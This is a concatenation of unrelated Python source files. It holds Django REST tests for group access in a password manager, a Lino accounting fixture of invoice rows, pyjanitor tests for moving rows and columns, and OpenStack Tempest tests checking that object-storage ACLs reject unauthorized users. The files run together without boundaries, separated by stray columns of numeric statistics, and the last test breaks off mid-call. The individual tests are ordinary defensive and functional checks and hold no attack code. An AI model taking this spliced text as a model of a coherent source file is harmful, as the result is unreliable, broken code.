authkey=make_password(self.test_authkey), public_key=self.test_public_key, private_key=self.test_private_key_enc, private_key_nonce=self.test_private_key_nonce, secret_key=self.test_secret_key_enc, secret_key_nonce=self.test_secret_key_nonce, user_sauce='90272aaf01a2d525223f192aca069e7f5661b3a0f1b1a91f9b16d493fdf15295', is_email_active=True ) self.test_email2 = ''.join(random.choice(string.ascii_lowercase) for _ in range(10)) + 'test@example.com' self.test_email_bcrypt2 = "b" self.test_username2 = ''.join(random.choice(string.ascii_lowercase) for _ in range(10)) + 'test@psono.pw' self.test_authkey2 = binascii.hexlify(os.urandom(settings.AUTH_KEY_LENGTH_BYTES)).decode() self.test_public_key2 = binascii.hexlify(os.urandom(settings.USER_PUBLIC_KEY_LENGTH_BYTES)).decode() self.test_private_key2 = binascii.hexlify(os.urandom(settings.USER_PRIVATE_KEY_LENGTH_BYTES)).decode() self.test_private_key_nonce2 = binascii.hexlify(os.urandom(settings.NONCE_LENGTH_BYTES)).decode() self.test_secret_key2 = binascii.hexlify(os.urandom(settings.USER_SECRET_KEY_LENGTH_BYTES)).decode() self.test_secret_key_nonce2 = binascii.hexlify(os.urandom(settings.NONCE_LENGTH_BYTES)).decode() self.test_user_sauce2 = 'a67fef1ff29eb8f866feaccad336fc6311fa4c71bc183b14c8fceff7416add99' self.test_user_obj2 = models.User.objects.create( username=self.test_username2, email=self.test_email2, email_bcrypt=self.test_email_bcrypt2, authkey=make_password(self.test_authkey2), public_key=self.test_public_key2, private_key=self.test_private_key2, private_key_nonce=self.test_private_key_nonce2, secret_key=self.test_secret_key2, secret_key_nonce=self.test_secret_key_nonce2, user_sauce=self.test_user_sauce2, is_email_active=True ) self.test_group_obj = models.Group.objects.create( name = 'Test Group 1', public_key = 'a123', ) self.test_membership_obj = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = True, accepted = True, ) self.test_group_obj2 = models.Group.objects.create( name = 'Test Group 2', public_key = 'a123', ) self.test_membership_obj2 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj2, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = False, accepted = True, ) self.test_group_obj3 = models.Group.objects.create( name = 'Test Group 3', public_key = 'a123', ) self.test_membership_obj3 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj3, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = True, accepted = False, ) self.test_group_obj4 = models.Group.objects.create( name = 'Test Group 4', public_key = 'a123', ) self.test_group_obj5 = models.Group.objects.create( name = 'Test Group 5', public_key = 'a123', ) self.test_membership_obj5 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj5, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = False, accepted = None, ) def test_read_groups_success(self): """ Tests to read all groups """ url = reverse('group') data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertTrue(response.data.get('groups', False)) self.assertEqual(len(response.data.get('groups')), 3) groups = response.data.get('groups') test_group_1_found = False test_group_2_found = False test_group_5_found = False found_something_else = False for group in groups: if group['name'] == 'Test Group 1': test_group_1_found = True elif group['name'] == 'Test Group 2': test_group_2_found = True elif group['name'] == 'Test Group 5': test_group_5_found = True else: found_something_else = True self.assertTrue(test_group_1_found) self.assertTrue(test_group_2_found) self.assertTrue(test_group_5_found) self.assertFalse(found_something_else) def test_read_groups_success_without_memberships(self): """ Tests to read all groups """ url = reverse('group') data = {} self.client.force_authenticate(user=self.test_user_obj2) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertFalse(response.data.get('groups', True)) # Empty List self.assertEqual(len(response.data.get('groups')), 0) def test_read_group_success(self): """ Tests to read a specific group successful """ url = reverse('group', kwargs={'group_id': self.test_group_obj.id}) data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertTrue(response.data.get('members', False)) self.assertEqual(response.data.get('name', False), 'Test Group 1') self.assertEqual(response.data.get('secret_key', False), 'secret_key') self.assertEqual(response.data.get('secret_key_nonce', False), 'secret_key_nonce') self.assertEqual(response.data.get('private_key', False), 'private_key') self.assertEqual(response.data.get('private_key_nonce', False), 'private_key_nonce') self.assertEqual(response.data.get('private_key_type', False), 'symmetric') self.assertNotEqual(response.data.get('group_share_rights', False), False) self.assertEqual(len(response.data.get('members')), 1) def test_read_group_success_no_group_admin(self): """ Tests to read a specific group successful where no group admin rights exist """ url = reverse('group', kwargs={'group_id': self.test_group_obj2.id}) data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertTrue(response.data.get('members', False)) self.assertEqual(response.data.get('name', False), 'Test Group 2') self.assertEqual(response.data.get('secret_key', False), 'secret_key') self.assertEqual(response.data.get('secret_key_nonce', False), 'secret_key_nonce') self.assertEqual(response.data.get('private_key', False), 'private_key') self.assertEqual(response.data.get('private_key_nonce', False), 'private_key_nonce') self.assertEqual(response.data.get('private_key_type', False), 'symmetric') self.assertNotEqual(response.data.get('group_share_rights', False), False) self.assertEqual(len(response.data.get('members')), 1) def test_read_group_success_declined(self): """ Tests to read a specific group successful where the membership has been declined """ url = reverse('group', kwargs={'group_id': self.test_group_obj3.id}) data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertFalse(response.data.get('members', False)) self.assertEqual(response.data.get('name', False), 'Test Group 3') self.assertEqual(response.data.get('secret_key', False), False) self.assertEqual(response.data.get('secret_key_nonce', False),False) self.assertEqual(response.data.get('private_key', False), False) self.assertEqual(response.data.get('private_key_nonce', False), False) self.assertEqual(response.data.get('private_key_type', False), False) self.assertEqual(response.data.get('group_share_rights', False), False) self.assertEqual(response.data.get('members', False), False) def test_read_group_success_not_accepted(self): """ Tests to read a specific group successful where the membership hasn't been accepted yet """ url = reverse('group', kwargs={'group_id': self.test_group_obj5.id}) data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertFalse(response.data.get('members', False)) self.assertEqual(response.data.get('name', False), 'Test Group 5') self.assertEqual(response.data.get('secret_key', False), False) self.assertEqual(response.data.get('secret_key_nonce', False),False) self.assertEqual(response.data.get('private_key', False), False) self.assertEqual(response.data.get('private_key_nonce', False), False) self.assertEqual(response.data.get('private_key_type', False), False) self.assertEqual(response.data.get('group_share_rights', False), False) self.assertEqual(response.data.get('members', False), False) self.assertNotEqual(response.data.get('user_id', False), False) self.assertNotEqual(response.data.get('user_username', False), False) def test_read_group_failure_no_membership(self): """ Tests to read a specific group without any membership rights """ url = reverse('group', kwargs={'group_id': self.test_group_obj4.id}) data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_read_group_failure_group_does_not_exist(self): """ Tests to read a specific group that does not exist """ url = reverse('group', kwargs={'group_id': 'cff06f13-a71a-43b5-8a0e-66816f35c565'}) data = {} self.client.force_authenticate(user=self.test_user_obj) response = self.client.get(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) class UpdateGroupTest(APITestCaseExtended): """ Test to update a group (POST) """ def setUp(self): self.test_email = "test@example.com" self.test_email_bcrypt = "a" self.test_password = "myPassword" self.test_authkey = "c55066421a559f76d8ed5227622e9f95a0c67df15220e40d7bc98a8a598124fa15373ac553ef3ee27c7" \ "123d6be058e6d43cc71c1b666bdecaf33b734c8583a93" self.test_public_key = "5706a5648debec63e86714c8c489f08aee39477487d1b3f39b0bbb05dbd2c649" self.test_secret_key = "a7d028388e9d80f2679c236ebb2d0fedc5b7b0a28b393f6a20cc8f6be636aa71" self.test_secret_key_enc = "77cde8ff6a5bbead93588fdcd0d6346bb57224b55a49c0f8a22a807bf6414e4d82ff60711422" \ "996e4a26de599982d531eef3098c9a531a05f75878ac0739571d6a242e6bf68c2c28eadf1011" \ "571a48eb" self.test_secret_key_nonce = "f580cc9900ce7ae8b6f7d2bab4627e9e689dca0f13a53e3c" self.test_private_key = "d636f7cc20384475bdc30c3ede98f719ee09d1fd4709276103772dd9479f353c" self.test_private_key_enc = "abddebec9d20cecf7d1cab95ad6c6394db3826856bf21c2c6af9954e9816c2239f5df697e52" \ "d60785eb1136803407b69729c38bb50eefdd2d24f2fa0f104990eee001866ba83704cf4f576" \ "a74b9b2452" self.test_private_key_nonce = "4298a9ab3d9d5d8643dfd4445adc30301b565ab650497fb9" self.test_user_obj = models.User.objects.create( email=self.test_email, email_bcrypt=self.test_email_bcrypt, authkey=make_password(self.test_authkey), public_key=self.test_public_key, private_key=self.test_private_key_enc, private_key_nonce=self.test_private_key_nonce, secret_key=self.test_secret_key_enc, secret_key_nonce=self.test_secret_key_nonce, user_sauce='90272aaf01a2d525223f192aca069e7f5661b3a0f1b1a91f9b16d493fdf15295', is_email_active=True ) self.test_group_obj = models.Group.objects.create( name = 'Test Group 1', public_key = 'a123', ) self.test_membership_obj = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = True, accepted = True, ) self.test_group_obj2 = models.Group.objects.create( name = 'Test Group 2', public_key = 'a123', ) self.test_membership_obj2 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj2, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = False, accepted = True, ) self.test_group_obj3 = models.Group.objects.create( name = 'Test Group 3', public_key = 'a123', ) self.test_membership_obj3 = models.User_Group_Membership.objects.create( user = self.test_user_obj, group = self.test_group_obj3, creator = self.test_user_obj, secret_key = 'secret_key', secret_key_nonce = 'secret_key_nonce', secret_key_type = 'symmetric', private_key = 'private_key', private_key_nonce = 'private_key_nonce', private_key_type = 'symmetric', group_admin = True, accepted = False, ) self.test_group_obj4 = models.Group.objects.create( name = 'Test Group 4', public_key = 'a123', ) def test_update_groups_success(self): """ Tests to update a group """ url = reverse('group') data = { 'group_id': self.test_group_obj.id, 'name': 'New Name', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.post(url, data) self.assertEqual(response.status_code, status.HTTP_200_OK) group = models.Group.objects.get(pk=self.test_group_obj.id) self.assertEqual(group.name, 'New Name') def test_update_groups_failure_no_group_admin(self): """ Tests to update a group with no group admin rights """ url = reverse('group') data = { 'group_id': self.test_group_obj2.id, 'name': 'New Name', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.post(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) group = models.Group.objects.get(pk=self.test_group_obj2.id) self.assertNotEqual(group.name, 'New Name') def test_update_groups_failure_not_accepted(self): """ Tests to update a group where the membership has not been accepted """ url = reverse('group') data = { 'group_id': self.test_group_obj3.id, 'name': 'New Name', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.post(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) group = models.Group.objects.get(pk=self.test_group_obj3.id) self.assertNotEqual(group.name, 'New Name') def test_update_groups_failure_no_membership(self): """ Tests to update a group without any membership """ url = reverse('group') data = { 'group_id': self.test_group_obj4.id, 'name': 'New Name', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.post(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) group = models.Group.objects.get(pk=self.test_group_obj4.id) self.assertNotEqual(group.name, 'New Name') def test_update_groups_failure_group_does_not_exist(self): """ Tests to update a group where the group does not exist """ url = reverse('group') data = { 'group_id': 'a6f82e75-2929-4ebc-9a65-231b92aa99f0', 'name': 'New Name', } self.client.force_authenticate(user=self.test_user_obj) response = self.client.post(url, data) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
37.12274
115
0.64371
3,959
39,016
6.046224
0.052286
0.067176
0.05669
0.033839
0.930568
0.914275
0.899068
0.870368
0.858671
0.84384
0
0.124883
0.263815
39,016
1,050
116
37.158095
0.708491
0.051312
0
0.755365
0
0
0.228079
0.136009
0
0
0
0
0.11588
1
0.050072
false
0.014306
0.014306
0
0.0701
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ee5cf6dcbbf5aede649e6c804be8b2f88e152197
4,199
py
Python
lino_book/projects/lydia/tests/dumps/18.12.0/ana_anaaccountinvoice.py
lino-framework/lino_book
4eab916832cd8f48ff1b9fc8c2789f0b437da0f8
[ "BSD-2-Clause" ]
3
2016-08-25T05:58:09.000Z
2019-12-05T11:13:45.000Z
lino_book/projects/lydia/tests/dumps/18.12.0/ana_anaaccountinvoice.py
lino-framework/lino_book
4eab916832cd8f48ff1b9fc8c2789f0b437da0f8
[ "BSD-2-Clause" ]
18
2016-11-12T21:38:58.000Z
2019-12-03T17:54:38.000Z
lino_book/projects/lydia/tests/dumps/18.12.0/ana_anaaccountinvoice.py
lino-framework/lino_book
4eab916832cd8f48ff1b9fc8c2789f0b437da0f8
[ "BSD-2-Clause" ]
9
2016-10-15T11:12:33.000Z
2021-09-22T04:37:37.000Z
# -*- coding: UTF-8 -*- logger.info("Loading 35 objects to table ana_anaaccountinvoice...") # fields: voucher_ptr, partner, payment_term, match, your_ref, due_date, total_incl, total_base, total_vat, vat_regime, items_edited loader.save(create_ana_anaaccountinvoice(87,101,1,u'',u'',date(2015,1,2),'40.00','40.00','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(88,102,2,u'',u'',date(2015,1,10),'141.30','141.30','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(89,103,3,u'',u'',date(2015,1,14),'603.60','603.60','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(90,104,4,u'',u'',date(2015,2,4),'1199.90','1199.90','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(91,105,5,u'',u'',date(2015,3,7),'3241.68','3241.68','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(92,106,6,u'',u'',date(2015,4,7),'143.40','118.52','24.88',u'30',True)) loader.save(create_ana_anaaccountinvoice(93,107,7,u'',u'',date(2015,1,31),'199.90','165.21','34.69',u'35',True)) loader.save(create_ana_anaaccountinvoice(94,101,8,u'',u'',date(2015,3,4),'40.60','40.60','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(95,102,1,u'',u'',date(2015,2,3),'142.00','142.00','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(96,103,2,u'',u'',date(2015,2,11),'602.30','602.30','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(97,104,3,u'',u'',date(2015,2,15),'1200.50','1200.50','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(98,105,4,u'',u'',date(2015,3,8),'3242.38','3242.38','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(99,106,5,u'',u'',date(2015,4,8),'142.10','117.44','24.66',u'30',True)) loader.save(create_ana_anaaccountinvoice(100,107,6,u'',u'',date(2015,5,9),'200.50','165.70','34.80',u'35',True)) loader.save(create_ana_anaaccountinvoice(101,101,7,u'',u'',date(2015,3,31),'41.10','41.10','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(102,102,8,u'',u'',date(2015,4,2),'143.40','143.40','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(103,103,1,u'',u'',date(2015,3,4),'600.40','600.40','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(104,104,2,u'',u'',date(2015,3,12),'1201.00','1201.00','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(105,105,3,u'',u'',date(2015,3,16),'3243.78','3243.78','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(106,106,4,u'',u'',date(2015,4,6),'140.20','115.87','24.33',u'30',True)) loader.save(create_ana_anaaccountinvoice(107,107,5,u'',u'',date(2015,5,7),'201.00','166.12','34.88',u'35',True)) loader.save(create_ana_anaaccountinvoice(108,101,6,u'',u'',date(2015,7,1),'41.30','41.30','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(109,102,7,u'',u'',date(2015,4,30),'142.10','142.10','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(110,103,8,u'',u'',date(2015,5,4),'601.50','601.50','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(111,104,1,u'',u'',date(2015,4,5),'1201.20','1201.20','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(112,105,2,u'',u'',date(2015,4,13),'3242.48','3242.48','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(113,106,3,u'',u'',date(2015,4,17),'141.30','116.78','24.52',u'30',True)) loader.save(create_ana_anaaccountinvoice(114,107,4,u'',u'',date(2015,5,8),'201.20','166.28','34.92',u'35',True)) loader.save(create_ana_anaaccountinvoice(115,101,5,u'',u'',date(2015,7,1),'42.50','42.50','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(116,102,6,u'',u'',date(2015,8,1),'140.20','140.20','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(117,103,7,u'',u'',date(2015,5,31),'602.20','602.20','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(118,104,8,u'',u'',date(2015,6,4),'1202.40','1202.40','0.00',u'10',True)) loader.save(create_ana_anaaccountinvoice(119,105,1,u'',u'',date(2015,5,6),'3240.58','3240.58','0.00',u'20',True)) loader.save(create_ana_anaaccountinvoice(120,106,2,u'',u'',date(2015,5,14),'142.00','117.35','24.65',u'30',True)) loader.save(create_ana_anaaccountinvoice(121,107,3,u'',u'',date(2015,5,18),'202.40','167.27','35.13',u'35',True)) loader.flush_deferred_objects()
102.414634
132
0.694451
842
4,199
3.365796
0.167458
0.254058
0.197601
0.234651
0.713126
0.568454
0.551517
0.551517
0.414961
0.414961
0
0.242629
0.014527
4,199
40
133
104.975
0.442243
0.036199
0
0
0
0
0.173591
0.005935
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
1
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
c9c79d432a07de4f30705286b10662d7f1c41e38
3,089
py
Python
tests/functions/test_move.py
richardqiu/pyjanitor
aa3150e7b8e2adc4733ea206ea9c3093e21d4025
[ "MIT" ]
674
2018-03-04T22:59:51.000Z
2021-03-22T10:08:58.000Z
tests/functions/test_move.py
richardqiu/pyjanitor
aa3150e7b8e2adc4733ea206ea9c3093e21d4025
[ "MIT" ]
737
2018-03-05T01:03:15.000Z
2021-03-22T23:55:27.000Z
tests/functions/test_move.py
richardqiu/pyjanitor
aa3150e7b8e2adc4733ea206ea9c3093e21d4025
[ "MIT" ]
176
2018-03-14T23:00:56.000Z
2021-03-24T19:32:34.000Z
import pytest from pandas import testing @pytest.mark.functions def test_move_row(dataframe): """ Test function move() for rows with defaults. Case with row labels being integers. """ # Setup source = 1 target = 3 row = dataframe.loc[source, :] # Exercise result = dataframe.move(source=source, target=target, axis=0) # Verify testing.assert_series_equal(result.iloc[target - 1, :], row) @pytest.mark.functions def test_move_row_after(dataframe): """ Test function move() for rows with position = 'after'. Case with row labels being integers. """ # Setup source = 1 target = 3 row = dataframe.loc[source, :] # Exercise result = dataframe.move( source=source, target=target, position="after", axis=0 ) # Verify testing.assert_series_equal(result.iloc[target, :], row) @pytest.mark.functions def test_move_row_strings(dataframe): """ Test function move() for rows with defaults. Case with row labels being strings. """ # Setup dataframe = dataframe.set_index("animals@#$%^").drop_duplicates() rows = dataframe.index source_index = 1 target_index = 2 source = rows[source_index] target = rows[target_index] row = dataframe.loc[source, :] # Exercise result = dataframe.move(source=source, target=target, axis=0) # Verify testing.assert_series_equal(result.iloc[target_index - 1, :], row) @pytest.mark.functions def test_move_row_after_strings(dataframe): """ Test function move() for rows with position = 'after'. Case with row labels being strings. """ # Setup dataframe = dataframe.set_index("animals@#$%^").drop_duplicates() rows = dataframe.index source_index = 1 target_index = 2 source = rows[source_index] target = rows[target_index] row = dataframe.loc[source, :] # Exercise result = dataframe.move( source=source, target=target, position="after", axis=0 ) # Verify testing.assert_series_equal(result.iloc[target_index, :], row) @pytest.mark.functions def test_move_col(dataframe): """ Test function move() for columns with defaults. """ # Setup columns = dataframe.columns source_index = 1 target_index = 3 source = columns[source_index] target = columns[target_index] col = dataframe[source] # Exercise result = dataframe.move(source=source, target=target, axis=1) # Verify testing.assert_series_equal(result.iloc[:, target_index - 1], col) @pytest.mark.functions def test_move_col_after(dataframe): """ Test function move() for columns with position = 'after'. """ # Setup columns = dataframe.columns source_index = 1 target_index = 3 source = columns[source_index] target = columns[target_index] col = dataframe[source] # Exercise result = dataframe.move( source=source, target=target, position="after", axis=1 ) # Verify testing.assert_series_equal(result.iloc[:, target_index], col)
23.945736
70
0.660408
373
3,089
5.327078
0.126005
0.066432
0.057373
0.066432
0.968797
0.968797
0.966281
0.875692
0.850528
0.850528
0
0.008801
0.227582
3,089
128
71
24.132813
0.823973
0.189058
0
0.703125
0
0
0.01638
0
0
0
0
0
0.09375
1
0.09375
false
0
0.03125
0
0.125
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a01b703f4016a77863c077b733de4cb66975868b
11,483
py
Python
tempest/api/object_storage/test_container_acl.py
BeenzSyed/tempest
7a64ee1216d844f6b99928b53f5c665b84cb8719
[ "Apache-2.0" ]
null
null
null
tempest/api/object_storage/test_container_acl.py
BeenzSyed/tempest
7a64ee1216d844f6b99928b53f5c665b84cb8719
[ "Apache-2.0" ]
null
null
null
tempest/api/object_storage/test_container_acl.py
BeenzSyed/tempest
7a64ee1216d844f6b99928b53f5c665b84cb8719
[ "Apache-2.0" ]
null
null
null
# Copyright 2012 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from tempest.api.object_storage import base from tempest.common.utils import data_utils from tempest import exceptions from tempest.test import attr from tempest.test import HTTP_SUCCESS class ObjectTestACLs(base.BaseObjectTest): @classmethod def setUpClass(cls): super(ObjectTestACLs, cls).setUpClass() cls.data.setup_test_user() cls.new_token = cls.token_client.get_token(cls.data.test_user, cls.data.test_password, cls.data.test_tenant) cls.custom_headers = {'X-Auth-Token': cls.new_token} @classmethod def tearDownClass(cls): cls.data.teardown_all() super(ObjectTestACLs, cls).tearDownClass() def setUp(self): super(ObjectTestACLs, self).setUp() self.container_name = data_utils.rand_name(name='TestContainer') self.container_client.create_container(self.container_name) def tearDown(self): self.delete_containers([self.container_name]) super(ObjectTestACLs, self).tearDown() @attr(type=['negative', 'gate']) def test_write_object_without_using_creds(self): # trying to create object with empty headers # X-Auth-Token is not provided object_name = data_utils.rand_name(name='Object') self.assertRaises(exceptions.Unauthorized, self.custom_object_client.create_object, self.container_name, object_name, 'data') @attr(type=['negative', 'gate']) def test_delete_object_without_using_creds(self): # create object object_name = data_utils.rand_name(name='Object') resp, _ = self.object_client.create_object(self.container_name, object_name, 'data') # trying to delete object with empty headers # X-Auth-Token is not provided self.assertRaises(exceptions.Unauthorized, self.custom_object_client.delete_object, self.container_name, object_name) @attr(type=['negative', 'gate']) def test_write_object_with_non_authorized_user(self): # attempt to upload another file using non-authorized user # User provided token is forbidden. ACL are not set object_name = data_utils.rand_name(name='Object') # trying to create object with non-authorized user self.assertRaises(exceptions.Unauthorized, self.custom_object_client.create_object, self.container_name, object_name, 'data', metadata=self.custom_headers) @attr(type=['negative', 'gate']) def test_read_object_with_non_authorized_user(self): # attempt to read object using non-authorized user # User provided token is forbidden. ACL are not set object_name = data_utils.rand_name(name='Object') resp, _ = self.object_client.create_object( self.container_name, object_name, 'data') self.assertEqual(resp['status'], '201') self.assertHeaders(resp, 'Object', 'PUT') # trying to get object with non authorized user token self.assertRaises(exceptions.Unauthorized, self.custom_object_client.get_object, self.container_name, object_name, metadata=self.custom_headers) @attr(type=['negative', 'gate']) def test_delete_object_with_non_authorized_user(self): # attempt to delete object using non-authorized user # User provided token is forbidden. ACL are not set object_name = data_utils.rand_name(name='Object') resp, _ = self.object_client.create_object( self.container_name, object_name, 'data') self.assertEqual(resp['status'], '201') self.assertHeaders(resp, 'Object', 'PUT') # trying to delete object with non-authorized user token self.assertRaises(exceptions.Unauthorized, self.custom_object_client.delete_object, self.container_name, object_name, metadata=self.custom_headers) @attr(type=['negative', 'smoke']) def test_read_object_without_rights(self): # attempt to read object using non-authorized user # update X-Container-Read metadata ACL cont_headers = {'X-Container-Read': 'badtenant:baduser'} resp_meta, body = self.container_client.update_container_metadata( self.container_name, metadata=cont_headers, metadata_prefix='') self.assertIn(int(resp_meta['status']), HTTP_SUCCESS) self.assertHeaders(resp_meta, 'Container', 'POST') # create object object_name = data_utils.rand_name(name='Object') resp, _ = self.object_client.create_object(self.container_name, object_name, 'data') self.assertEqual(resp['status'], '201') self.assertHeaders(resp, 'Object', 'PUT') # Trying to read the object without rights self.assertRaises(exceptions.Unauthorized, self.custom_object_client.get_object, self.container_name, object_name, metadata=self.custom_headers) @attr(type=['negative', 'smoke']) def test_write_object_without_rights(self): # attempt to write object using non-authorized user # update X-Container-Write metadata ACL cont_headers = {'X-Container-Write': 'badtenant:baduser'} resp_meta, body = self.container_client.update_container_metadata( self.container_name, metadata=cont_headers, metadata_prefix='') self.assertIn(int(resp_meta['status']), HTTP_SUCCESS) self.assertHeaders(resp_meta, 'Container', 'POST') # Trying to write the object without rights object_name = data_utils.rand_name(name='Object') self.assertRaises(exceptions.Unauthorized, self.custom_object_client.create_object, self.container_name, object_name, 'data', metadata=self.custom_headers) @attr(type='smoke') def test_read_object_with_rights(self): # attempt to read object using authorized user # update X-Container-Read metadata ACL cont_headers = {'X-Container-Read': self.data.test_tenant + ':' + self.data.test_user} resp_meta, body = self.container_client.update_container_metadata( self.container_name, metadata=cont_headers, metadata_prefix='') self.assertIn(int(resp_meta['status']), HTTP_SUCCESS) self.assertHeaders(resp_meta, 'Container', 'POST') # create object object_name = data_utils.rand_name(name='Object') resp, _ = self.object_client.create_object(self.container_name, object_name, 'data') self.assertEqual(resp['status'], '201') self.assertHeaders(resp, 'Object', 'PUT') # Trying to read the object with rights resp, _ = self.custom_object_client.get_object( self.container_name, object_name, metadata=self.custom_headers) self.assertIn(int(resp['status']), HTTP_SUCCESS) self.assertHeaders(resp, 'Object', 'GET') @attr(type='smoke') def test_write_object_with_rights(self): # attempt to write object using authorized user # update X-Container-Write metadata ACL cont_headers = {'X-Container-Write': self.data.test_tenant + ':' + self.data.test_user} resp_meta, body = self.container_client.update_container_metadata( self.container_name, metadata=cont_headers, metadata_prefix='') self.assertIn(int(resp_meta['status']), HTTP_SUCCESS) self.assertHeaders(resp_meta, 'Container', 'POST') # Trying to write the object with rights object_name = data_utils.rand_name(name='Object') resp, _ = self.custom_object_client.create_object( self.container_name, object_name, 'data', metadata=self.custom_headers) self.assertIn(int(resp['status']), HTTP_SUCCESS) self.assertHeaders(resp, 'Object', 'PUT') @attr(type=['negative', 'smoke']) def test_write_object_without_write_rights(self): # attempt to write object using non-authorized user # update X-Container-Read and X-Container-Write metadata ACL cont_headers = {'X-Container-Read': self.data.test_tenant + ':' + self.data.test_user, 'X-Container-Write': ''} resp_meta, body = self.container_client.update_container_metadata( self.container_name, metadata=cont_headers, metadata_prefix='') self.assertIn(int(resp_meta['status']), HTTP_SUCCESS) self.assertHeaders(resp_meta, 'Container', 'POST') # Trying to write the object without write rights object_name = data_utils.rand_name(name='Object') self.assertRaises(exceptions.Unauthorized, self.custom_object_client.create_object, self.container_name, object_name, 'data', metadata=self.custom_headers) @attr(type=['negative', 'smoke']) def test_delete_object_without_write_rights(self): # attempt to delete object using non-authorized user # update X-Container-Read and X-Container-Write metadata ACL cont_headers = {'X-Container-Read': self.data.test_tenant + ':' + self.data.test_user, 'X-Container-Write': ''} resp_meta, body = self.container_client.update_container_metadata( self.container_name, metadata=cont_headers, metadata_prefix='') self.assertIn(int(resp_meta['status']), HTTP_SUCCESS) self.assertHeaders(resp_meta, 'Container', 'POST') # create object object_name = data_utils.rand_name(name='Object') resp, _ = self.object_client.create_object(self.container_name, object_name, 'data') self.assertEqual(resp['status'], '201') self.assertHeaders(resp, 'Object', 'PUT') # Trying to delete the object without write rights self.assertRaises(exceptions.Unauthorized, self.custom_object_client.delete_object, self.container_name, object_name, 